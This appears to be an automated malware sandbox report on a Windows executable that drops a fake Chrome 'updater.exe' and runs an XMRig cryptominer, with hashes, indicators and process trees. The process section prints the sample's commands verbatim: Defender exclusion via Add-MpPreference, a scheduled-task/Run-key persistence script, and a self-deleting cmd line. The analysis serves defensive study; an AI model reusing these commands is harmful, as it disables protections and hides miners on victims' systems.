Overview
overview
10Static
static
3grhsghsGHs...y8.exe
windows7-x64
10grhsghsGHs...SE.exe
windows7-x64
10grhsghsGHs...CD.exe
windows7-x64
10grhsghsGHs...Da.exe
windows7-x64
10grhsghsGHs...wq.exe
windows7-x64
10grhsghsGHs...r7.exe
windows7-x64
10grhsghsGHs...XJ.exe
windows7-x64
10grhsghsGHs...eg.exe
windows7-x64
10grhsghsGHs...5H.exe
windows7-x64
10grhsghsGHs...XN.exe
windows7-x64
10grhsghsGHs...T3.exe
windows7-x64
10grhsghsGHs...9r.exe
windows7-x64
10grhsghsGHs...GR.exe
windows7-x64
10grhsghsGHs...EX.exe
windows7-x64
10grhsghsGHs...EA.exe
windows7-x64
10grhsghsGHs...FB.exe
windows7-x64
10grhsghsGHs...Et.exe
windows7-x64
10grhsghsGHs...KX.exe
windows7-x64
10grhsghsGHs...Qp.exe
windows7-x64
10grhsghsGHs...ep.exe
windows7-x64
10grhsghsGHs...5e.exe
windows7-x64
10grhsghsGHs...EP.exe
windows7-x64
10grhsghsGHs...pS.exe
windows7-x64
10grhsghsGHs...HZ.exe
windows7-x64
10grhsghsGHs...Sj.exe
windows7-x64
10grhsghsGHs...Nq.exe
windows7-x64
10grhsghsGHs...Ey.exe
windows7-x64
10Resubmissions
25-01-2024 16:55
240125-vfcyksbhgr 1024-01-2024 17:15
240124-vstf4aecaj 1023-01-2024 19:27
240123-x6cfvagbd9 1023-01-2024 19:27
240123-x6bvbafgem 1023-01-2024 19:27
240123-x6bjjsgbd8 1023-01-2024 19:27
240123-x6ax1sfgek 1023-01-2024 19:27
240123-x6abgsfgej 1023-01-2024 19:27
240123-x591qagbd7 1023-01-2024 19:27
240123-x59d7agbd6 1023-01-2024 19:27
240123-x584esgbd5 10Analysis
-
max time kernel
374s -
max time network
1802s -
platform
windows7_x64 -
resource
win7-20231215-en -
resource tags
arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system -
submitted
25-01-2024 16:55
Static task
static1
Behavioral task
behavioral1
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win7-20231215-en
Behavioral task
behavioral3
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win7-20231215-en
Behavioral task
behavioral4
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win7-20231129-en
Behavioral task
behavioral5
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win7-20231215-en
Behavioral task
behavioral6
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win7-20231215-en
Behavioral task
behavioral7
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win7-20231215-en
Behavioral task
behavioral8
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win7-20231215-en
Behavioral task
behavioral9
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win7-20231215-en
Behavioral task
behavioral10
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win7-20231129-en
Behavioral task
behavioral11
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win7-20231129-en
Behavioral task
behavioral12
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win7-20231215-en
Behavioral task
behavioral13
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win7-20231215-en
Behavioral task
behavioral14
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win7-20231215-en
Behavioral task
behavioral15
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win7-20231129-en
Behavioral task
behavioral16
Sample
grhsghsGHswgh/Yvdp8t5knpQz7sFB.exe
Resource
win7-20231215-en
Behavioral task
behavioral17
Sample
grhsghsGHswgh/anDwkygzqtN6BKEt.exe
Resource
win7-20231129-en
Behavioral task
behavioral18
Sample
grhsghsGHswgh/bW3Td8vedKuGbSKX.exe
Resource
win7-20231215-en
Behavioral task
behavioral19
Sample
grhsghsGHswgh/cZ8JugqVuxAY52Qp.exe
Resource
win7-20231129-en
Behavioral task
behavioral20
Sample
grhsghsGHswgh/h5JMkDJvUkEMMWep.exe
Resource
win7-20231129-en
Behavioral task
behavioral21
Sample
grhsghsGHswgh/qM5GMXBk6hJE6Y5e.exe
Resource
win7-20231215-en
Behavioral task
behavioral22
Sample
grhsghsGHswgh/rUqNxUB6WWxdsfEP.exe
Resource
win7-20231215-en
Behavioral task
behavioral23
Sample
grhsghsGHswgh/rkUvkExvRhkxKUpS.exe
Resource
win7-20231129-en
Behavioral task
behavioral24
Sample
grhsghsGHswgh/u3GgbfA2e32fHMHZ.exe
Resource
win7-20231215-en
Behavioral task
behavioral25
Sample
grhsghsGHswgh/xQQTm7rAusnqpUSj.exe
Resource
win7-20231215-en
Behavioral task
behavioral26
Sample
grhsghsGHswgh/xxgg94VsN5GYyJNq.exe
Resource
win7-20231215-en
General
-
Target
grhsghsGHswgh/xxgg94VsN5GYyJNq.exe
-
Size
2.0MB
-
MD5
a16a669a09bf158058b83e04e69fe38e
-
SHA1
f6c94763850d9e590d86057139e8895a7aacdeea
-
SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
-
SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
-
SSDEEP
49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
Malware Config
Signatures
-
Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
Processes:
xxgg94VsN5GYyJNq.exeupdater.execonhost.exedescription pid process target process PID 1868 created 1244 1868 xxgg94VsN5GYyJNq.exe Explorer.EXE PID 1868 created 1244 1868 xxgg94VsN5GYyJNq.exe Explorer.EXE PID 1868 created 1244 1868 xxgg94VsN5GYyJNq.exe Explorer.EXE PID 1868 created 1244 1868 xxgg94VsN5GYyJNq.exe Explorer.EXE PID 2960 created 1244 2960 updater.exe Explorer.EXE PID 2960 created 1244 2960 updater.exe Explorer.EXE PID 2960 created 1244 2960 updater.exe Explorer.EXE PID 2960 created 1244 2960 updater.exe Explorer.EXE PID 2288 created 1244 2288 conhost.exe Explorer.EXE PID 2960 created 1244 2960 updater.exe Explorer.EXE -
XMRig Miner payload 29 IoCs
Processes:
resource yara_rule behavioral26/memory/1632-72-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral26/memory/1632-74-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral26/memory/1632-76-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral26/memory/1632-80-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral26/memory/1632-82-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral26/memory/1632-84-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral26/memory/1632-86-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral26/memory/1632-88-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral26/memory/1632-90-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral26/memory/1632-92-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral26/memory/1632-94-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral26/memory/1632-96-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral26/memory/1632-98-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral26/memory/1632-100-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral26/memory/1632-102-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral26/memory/1632-104-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral26/memory/1632-106-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral26/memory/1632-108-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral26/memory/1632-110-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral26/memory/1632-112-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral26/memory/1632-114-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral26/memory/1632-116-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral26/memory/1632-118-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral26/memory/1632-120-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral26/memory/1632-122-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral26/memory/1632-124-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral26/memory/1632-126-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral26/memory/1632-128-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral26/memory/1632-130-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig -
Deletes itself 1 IoCs
Processes:
cmd.exepid process 2684 cmd.exe -
Executes dropped EXE 1 IoCs
Processes:
updater.exepid process 2960 updater.exe -
Loads dropped DLL 1 IoCs
Processes:
taskeng.exepid process 1068 taskeng.exe -
Processes:
resource yara_rule behavioral26/memory/1632-67-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral26/memory/1632-72-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral26/memory/1632-74-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral26/memory/1632-76-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral26/memory/1632-80-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral26/memory/1632-82-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral26/memory/1632-84-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral26/memory/1632-86-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral26/memory/1632-88-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral26/memory/1632-90-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral26/memory/1632-92-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral26/memory/1632-94-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral26/memory/1632-96-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral26/memory/1632-98-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral26/memory/1632-100-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral26/memory/1632-102-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral26/memory/1632-104-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral26/memory/1632-106-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral26/memory/1632-108-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral26/memory/1632-110-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral26/memory/1632-112-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral26/memory/1632-114-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral26/memory/1632-116-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral26/memory/1632-118-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral26/memory/1632-120-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral26/memory/1632-122-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral26/memory/1632-124-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral26/memory/1632-126-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral26/memory/1632-128-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral26/memory/1632-130-0x0000000140000000-0x00000001407F4000-memory.dmp upx -
Drops file in System32 directory 5 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exedescription ioc process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
Processes:
updater.exedescription pid process target process PID 2960 set thread context of 2288 2960 updater.exe conhost.exe PID 2960 set thread context of 1632 2960 updater.exe conhost.exe -
Drops file in Program Files directory 4 IoCs
Processes:
xxgg94VsN5GYyJNq.exeupdater.execmd.execmd.exedescription ioc process File created C:\Program Files\Google\Chrome\updater.exe xxgg94VsN5GYyJNq.exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exepid process 2160 schtasks.exe 2964 schtasks.exe -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
-
Modifies data under HKEY_USERS 3 IoCs
Processes:
powershell.exeWMIC.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 20132e78b44fda01 powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe -
Suspicious behavior: EnumeratesProcesses 25 IoCs
Processes:
xxgg94VsN5GYyJNq.exepowershell.exepowershell.exepowershell.exeupdater.exepowershell.exepowershell.execonhost.exepid process 1868 xxgg94VsN5GYyJNq.exe 1868 xxgg94VsN5GYyJNq.exe 2664 powershell.exe 1868 xxgg94VsN5GYyJNq.exe 1868 xxgg94VsN5GYyJNq.exe 1904 powershell.exe 1868 xxgg94VsN5GYyJNq.exe 1868 xxgg94VsN5GYyJNq.exe 1868 xxgg94VsN5GYyJNq.exe 1868 xxgg94VsN5GYyJNq.exe 2624 powershell.exe 2960 updater.exe 2960 updater.exe 1896 powershell.exe 2960 updater.exe 2960 updater.exe 2856 powershell.exe 2960 updater.exe 2960 updater.exe 2960 updater.exe 2960 updater.exe 2288 conhost.exe 2288 conhost.exe 2960 updater.exe 2960 updater.exe -
Suspicious behavior: LoadsDriver 1 IoCs
Processes:
pid process 464 -
Suspicious use of AdjustPrivilegeToken 31 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exeupdater.exeWMIC.execonhost.exedescription pid process Token: SeDebugPrivilege 2664 powershell.exe Token: SeDebugPrivilege 1904 powershell.exe Token: SeDebugPrivilege 2624 powershell.exe Token: SeDebugPrivilege 1896 powershell.exe Token: SeDebugPrivilege 2856 powershell.exe Token: SeDebugPrivilege 2960 updater.exe Token: SeAssignPrimaryTokenPrivilege 536 WMIC.exe Token: SeIncreaseQuotaPrivilege 536 WMIC.exe Token: SeSecurityPrivilege 536 WMIC.exe Token: SeTakeOwnershipPrivilege 536 WMIC.exe Token: SeLoadDriverPrivilege 536 WMIC.exe Token: SeSystemtimePrivilege 536 WMIC.exe Token: SeBackupPrivilege 536 WMIC.exe Token: SeRestorePrivilege 536 WMIC.exe Token: SeShutdownPrivilege 536 WMIC.exe Token: SeSystemEnvironmentPrivilege 536 WMIC.exe Token: SeUndockPrivilege 536 WMIC.exe Token: SeManageVolumePrivilege 536 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 536 WMIC.exe Token: SeIncreaseQuotaPrivilege 536 WMIC.exe Token: SeSecurityPrivilege 536 WMIC.exe Token: SeTakeOwnershipPrivilege 536 WMIC.exe Token: SeLoadDriverPrivilege 536 WMIC.exe Token: SeSystemtimePrivilege 536 WMIC.exe Token: SeBackupPrivilege 536 WMIC.exe Token: SeRestorePrivilege 536 WMIC.exe Token: SeShutdownPrivilege 536 WMIC.exe Token: SeSystemEnvironmentPrivilege 536 WMIC.exe Token: SeUndockPrivilege 536 WMIC.exe Token: SeManageVolumePrivilege 536 WMIC.exe Token: SeLockMemoryPrivilege 1632 conhost.exe -
Suspicious use of WriteProcessMemory 20 IoCs
Processes:
powershell.execmd.exepowershell.exetaskeng.exepowershell.exeupdater.execmd.exedescription pid process target process PID 1904 wrote to memory of 2160 1904 powershell.exe schtasks.exe PID 1904 wrote to memory of 2160 1904 powershell.exe schtasks.exe PID 1904 wrote to memory of 2160 1904 powershell.exe schtasks.exe PID 2684 wrote to memory of 2600 2684 cmd.exe choice.exe PID 2684 wrote to memory of 2600 2684 cmd.exe choice.exe PID 2684 wrote to memory of 2600 2684 cmd.exe choice.exe PID 2624 wrote to memory of 1656 2624 powershell.exe schtasks.exe PID 2624 wrote to memory of 1656 2624 powershell.exe schtasks.exe PID 2624 wrote to memory of 1656 2624 powershell.exe schtasks.exe PID 1068 wrote to memory of 2960 1068 taskeng.exe updater.exe PID 1068 wrote to memory of 2960 1068 taskeng.exe updater.exe PID 1068 wrote to memory of 2960 1068 taskeng.exe updater.exe PID 2856 wrote to memory of 2964 2856 powershell.exe schtasks.exe PID 2856 wrote to memory of 2964 2856 powershell.exe schtasks.exe PID 2856 wrote to memory of 2964 2856 powershell.exe schtasks.exe PID 2960 wrote to memory of 2288 2960 updater.exe conhost.exe PID 240 wrote to memory of 536 240 cmd.exe WMIC.exe PID 240 wrote to memory of 536 240 cmd.exe WMIC.exe PID 240 wrote to memory of 536 240 cmd.exe WMIC.exe PID 2960 wrote to memory of 1632 2960 updater.exe conhost.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
-
C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\xxgg94VsN5GYyJNq.exe"C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\xxgg94VsN5GYyJNq.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\xxgg94VsN5GYyJNq.exe"2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 31⤵
-
C:\Windows\system32\taskeng.exetaskeng.exe {0A226EA5-7083-4466-92ED-71106234570B} S-1-5-18:NT AUTHORITY\System:Service:1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor1⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
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Downloads
-
C:\Program Files\Google\Chrome\updater.exeFilesize
205KB
MD51cdca8bced9f02c0e65b3082aa75e3ef
SHA18d548cfdfe44c31d6d520b117ef15e2f68c49b64
SHA256c0c4c61c4fdde35d8cdb296715f8f3654414233c0ed9e1d1498c6f3ab4f63fa4
SHA512edd62c144b440f227d6973aff77a352a9840465a98e812917c61a9d1eb0729cfd433b9d105a0d606b19876c0ba5d9c126f4689637174286a75dbe9219ece6181
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C:\Program Files\Google\Chrome\updater.exeFilesize
67KB
MD5a8223c2ef16090cbefd59185479642c7
SHA1455c75632919bb05576313780b869c8b7fc80555
SHA25603523bdd411510754e1365855767dc80b55cf697a4b106ead31b4b7aee066309
SHA5125d2b4c8392e8a84e972e62bc9e9eed398a127565d3092798916097634e0766e59c76e341458821b285d6142694c97f58eafff698a0427327567e1a4c74c48bb6
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C:\Program Files\Google\Libs\g.logFilesize
198B
MD537dd19b2be4fa7635ad6a2f3238c4af1
SHA1e5b2c034636b434faee84e82e3bce3a3d3561943
SHA2568066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
SHA51286e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-msFilesize
7KB
MD577f5dfa7bdcf0afaf2e396877976d734
SHA17c7adcf8cd6ee1a2ffbb3e8631f3ccd12fbb661d
SHA25605a89dcccee30859577367e8b97f61e29cae694fb9e6135ece99e820b930db70
SHA512b8337be8961a58030ec2e1edbb08a44a7c34c8caa40ae876b505bf9572f9c85608cd9fcfc7c633db5d4218b1b585d4cda796bfa9552f1ddb8c6c915115e5ea99
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\Program Files\Google\Chrome\updater.exeFilesize
280KB
MD5992664be4922b830208aa36709510a00
SHA1ce6bb72fc6e8b11d3e6ab456a17f5edf20b53794
SHA25662b41f5feddddbef8f52bc359fbd087c96c959519d3acfc31ce8eec9eb7c4841
SHA5121bdeb92cfb4565e4efc30e18d062cc705e3025366093f324af81a6fd0b055ff6f32236c20894cbf0bf0c17cafb63136e2d0149d7e02fcb93fdc4186d0dcc60d2
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memory/1632-100-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/1632-128-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/1632-118-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/1632-116-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/1632-114-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/1632-122-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/1632-80-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/1632-78-0x00000000007F0000-0x0000000000810000-memory.dmpFilesize
128KB
-
memory/1632-76-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/1632-74-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/1632-72-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/1632-70-0x00000000007F0000-0x0000000000810000-memory.dmpFilesize
128KB
-
memory/1632-69-0x0000000000330000-0x0000000000350000-memory.dmpFilesize
128KB
-
memory/1632-68-0x00000000002B0000-0x00000000002D0000-memory.dmpFilesize
128KB
-
memory/1632-67-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/1632-84-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/1632-130-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
